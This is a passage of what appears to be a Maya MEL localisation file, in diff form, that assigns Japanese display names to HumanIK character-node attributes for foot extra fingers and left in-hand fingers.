"RightFootExtraFinger3", "右足追加指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3T", "右足追加指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Tx", "右足追加指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Ty", "右足追加指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Tz", "右足追加指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3R", "右足追加指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Rx", "右足追加指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Ry", "右足追加指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Rz", "右足追加指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3S", "右足追加指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Sx", "右足追加指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Sy", "右足追加指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Sz", "右足追加指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3RotateOrder", "右足追加指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3RotateAxis", "右足追加指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3RotateAxisx", "右足追加指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3RotateAxisy", "右足追加指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3RotateAxisz", "右足追加指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3JointOrient", "右足追加指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3JointOrientx", "右足追加指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3JointOrienty", "右足追加指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3JointOrientz", "右足追加指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MinRLimit", "右足追加指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MinRLimitx", "右足追加指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MinRLimity", "右足追加指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MinRLimitz", "右足追加指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MaxRLimit", "右足追加指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MaxRLimitx", "右足追加指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MaxRLimity", "右足追加指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MaxRLimitz", "右足追加指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MinRLimitEnablex", "右足追加指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MinRLimitEnabley", "右足追加指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MinRLimitEnablez", "右足追加指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MaxRLimitEnablex", "右足追加指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MaxRLimitEnabley", "右足追加指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MaxRLimitEnablez", "右足追加指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4", "右足追加指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4T", "右足追加指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Tx", "右足追加指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Ty", "右足追加指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Tz", "右足追加指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4R", "右足追加指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Rx", "右足追加指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Ry", "右足追加指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Rz", "右足追加指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4S", "右足追加指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Sx", "右足追加指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Sy", "右足追加指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Sz", "右足追加指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4RotateOrder", "右足追加指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4RotateAxis", "右足追加指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4RotateAxisx", "右足追加指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4RotateAxisy", "右足追加指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4RotateAxisz", "右足追加指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4JointOrient", "右足追加指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4JointOrientx", "右足追加指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4JointOrienty", "右足追加指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4JointOrientz", "右足追加指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MinRLimit", "右足追加指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MinRLimitx", "右足追加指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MinRLimity", "右足追加指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MinRLimitz", "右足追加指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MaxRLimit", "右足追加指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MaxRLimitx", "右足追加指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MaxRLimity", "右足追加指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MaxRLimitz", "右足追加指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MinRLimitEnablex", "右足追加指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MinRLimitEnabley", "右足追加指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MinRLimitEnablez", "右足追加指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MaxRLimitEnablex", "右足追加指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MaxRLimitEnabley", "右足追加指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MaxRLimitEnablez", "右足追加指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumb", "左手内側の親指" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbT", "左手内側の親指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbTx", "左手内側の親指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbTy", "左手内側の親指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbTz", "左手内側の親指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbR", "左手内側の親指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRx", "左手内側の親指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRy", "左手内側の親指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRz", "左手内側の親指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbS", "左手内側の親指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbSx", "左手内側の親指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbSy", "左手内側の親指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbSz", "左手内側の親指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRotateOrder", "左手内側の親指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRotateAxis", "左手内側の親指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRotateAxisx", "左手内側の親指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRotateAxisy", "左手内側の親指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRotateAxisz", "左手内側の親指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbJointOrient", "左手内側の親指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbJointOrientx", "左手内側の親指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbJointOrienty", "左手内側の親指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbJointOrientz", "左手内側の親指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMinRLimit", "左手内側の親指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMinRLimitx", "左手内側の親指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMinRLimity", "左手内側の親指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMinRLimitz", "左手内側の親指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMaxRLimit", "左手内側の親指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMaxRLimitx", "左手内側の親指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMaxRLimity", "左手内側の親指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMaxRLimitz", "左手内側の親指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMinRLimitEnablex", "左手内側の親指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMinRLimitEnabley", "左手内側の親指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMinRLimitEnablez", "左手内側の親指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMaxRLimitEnablex", "左手内側の親指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMaxRLimitEnabley", "左手内側の親指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMaxRLimitEnablez", "左手内側の親指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndex", "左手内側の人差指" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexT", "左手内側の人差指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexTx", "左手内側の人差指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexTy", "左手内側の人差指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexTz", "左手内側の人差指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexR", "左手内側の人差指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRx", "左手内側の人差指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRy", "左手内側の人差指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRz", "左手内側の人差指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexS", "左手内側の人差指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexSx", "左手内側の人差指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexSy", "左手内側の人差指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexSz", "左手内側の人差指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRotateOrder", "左手内側の人差指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRotateAxis", "左手内側の人差指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRotateAxisx", "左手内側の人差指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRotateAxisy", "左手内側の人差指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRotateAxisz", "左手内側の人差指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexJointOrient", "左手内側の人差指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexJointOrientx", "左手内側の人差指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexJointOrienty", "左手内側の人差指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexJointOrientz", "左手内側の人差指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMinRLimit", "左手内側の人差指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMinRLimitx", "左手内側の人差指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMinRLimity", "左手内側の人差指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMinRLimitz", "左手内側の人差指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMaxRLimit", "左手内側の人差指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMaxRLimitx", "左手内側の人差指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMaxRLimity", "左手内側の人差指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMaxRLimitz", "左手内側の人差指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMinRLimitEnablex", "左手内側の人差指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMinRLimitEnabley", "左手内側の人差指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMinRLimitEnablez", "左手内側の人差指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMaxRLimitEnablex", "左手内側の人差指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMaxRLimitEnabley", "左手内側の人差指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMaxRLimitEnablez", "左手内側の人差指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddle", "左手内側の中指" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleT", "左手内側の中指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleTx", "左手内側の中指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleTy", "左手内側の中指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleTz", "左手内側の中指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleR", "左手内側の中指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRx", "左手内側の中指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRy", "左手内側の中指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRz", "左手内側の中指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleS", "左手内側の中指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleSx", "左手内側の中指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleSy", "左手内側の中指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleSz", "左手内側の中指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRotateOrder", "左手内側の中指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRotateAxis", "左手内側の中指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRotateAxisx", "左手内側の中指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRotateAxisy", "左手内側の中指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRotateAxisz", "左手内側の中指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleJointOrient", "左手内側の中指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleJointOrientx", "左手内側の中指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleJointOrienty", "左手内側の中指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleJointOrientz", "左手内側の中指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMinRLimit", "左手内側の中指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMinRLimitx", "左手内側の中指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMinRLimity", "左手内側の中指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMinRLimitz", "左手内側の中指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMaxRLimit", "左手内側の中指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMaxRLimitx", "左手内側の中指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMaxRLimity", "左手内側の中指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMaxRLimitz", "左手内側の中指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMinRLimitEnablex", "左手内側の中指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMinRLimitEnabley", "左手内側の中指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMinRLimitEnablez", "左手内側の中指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMaxRLimitEnablex", "左手内側の中指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMaxRLimitEnabley", "左手内側の中指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMaxRLimitEnablez", "左手内側の中指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRing", "左手内側の薬指" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingT", "左手内側の薬指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingTx", "左手内側の薬指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingTy", "左手内側の薬指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingTz", "左手内側の薬指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingR", "左手内側の薬指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRx", "左手内側の薬指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRy", "左手内側の薬指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRz", "左手内側の薬指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingS", "左手内側の薬指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingSx", "左手内側の薬指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingSy", "左手内側の薬指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingSz", "左手内側の薬指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRotateOrder", "左手内側の薬指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRotateAxis", "左手内側の薬指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRotateAxisx", "左手内側の薬指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRotateAxisy", "左手内側の薬指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRotateAxisz", "左手内側の薬指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingJointOrient", "左手内側の薬指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingJointOrientx", "左手内側の薬指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingJointOrienty", "左手内側の薬指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingJointOrientz", "左手内側の薬指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMinRLimit", "左手内側の薬指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMinRLimitx", "左手内側の薬指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMinRLimity", "左手内側の薬指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMinRLimitz", "左手内側の薬指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMaxRLimit", "左手内側の薬指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMaxRLimitx", "左手内側の薬指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMaxRLimity", "左手内側の薬指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMaxRLimitz", "左手内側の薬指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMinRLimitEnablex", "左手内側の薬指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMinRLimitEnabley", "左手内側の薬指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMinRLimitEnablez", "左手内側の薬指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMaxRLimitEnablex", "左手内側の薬指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMaxRLimitEnabley", "左手内側の薬指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMaxRLimitEnablez", "左手内側の薬指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinky", "左手内側の小指" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyT", "左手内側の小指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyTx", "左手内側の小指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyTy", "左手内側の小指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyTz", "左手内側の小指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyR", "左手内側の小指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRx", "左手内側の小指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRy", "左手内側の小指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRz", "左手内側の小指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyS", "左手内側の小指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkySx", "左手内側の小指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkySy", "左手内側の小指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkySz", "左手内側の小指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRotateOrder", "左手内側の小指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRotateAxis", "左手内側の小指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRotateAxisx", "左手内側の小指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRotateAxisy", "左手内側の小指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRotateAxisz", "左手内側の小指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyJointOrient", "左手内側の小指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyJointOrientx", "左手内側の小指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyJointOrienty", "左手内側の小指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyJointOrientz", "左手内側の小指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMinRLimit", "左手内側の小指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMinRLimitx", "左手内側の小指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMinRLimity", "左手内側の小指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMinRLimitz", "左手内側の小指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMaxRLimit", "左手内側の小指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMaxRLimitx", "左手内側の小指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMaxRLimity", "左手内側の小指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMaxRLimitz", "左手内側の小指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMinRLimitEnablex", "左手内側の小指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMinRLimitEnabley", "左手内側の小指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMinRLimitEnablez", "左手内側の小指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMaxRLimitEnablex", "左手内側の小指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMaxRLimitEnabley", "左手内側の小指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMaxRLimitEnablez", "左手内側の小指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFinger", "左手内側の追加指" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerT", "左手内側の追加指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", 